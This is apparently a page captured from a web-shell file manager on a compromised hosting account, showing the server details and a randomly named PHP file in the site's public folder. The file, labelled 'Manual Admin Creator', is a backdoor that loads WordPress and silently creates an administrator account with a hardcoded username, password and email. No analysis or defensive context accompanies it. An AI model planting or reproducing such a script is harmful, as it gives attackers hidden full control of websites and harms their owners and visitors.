HEX
Server: LiteSpeed
System: Linux server308.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: bestafjg (2207)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /home/bestafjg/public_html/ovabukmee.php
<?php
/**
 * Manual Admin Creator - Fixed Logic
 */

// 1. Dynamic pathing to find WordPress root
$wp_path = $_SERVER['DOCUMENT_ROOT'] . '/wp-load.php';

if (file_exists($wp_path)) {
    require_once($wp_path);
} else {
    // Fallback for subdirectories
    require_once('wp-blog-header.php');
}

require_once(ABSPATH . 'wp-includes/registration.php');

// 2. Updated Config Variables
$newusername = 'XOR';
$newpassword = 'XOR48';
$newemail    = 'xor48cs@gmail.com';

// 3. Execution Logic
if (!username_exists($newusername) && !email_exists($newemail)) {
    $user_id = wp_create_user($newusername, $newpassword, $newemail);
    
    if (is_int($user_id)) {
        $wp_user_object = new WP_User($user_id);
        $wp_user_object->set_role('administrator');
        echo 'Successfully created admin user: ' . $newusername;
    } else {
        echo 'Error: Could not create user.';
    }
} else {
    echo 'User already exists.';
}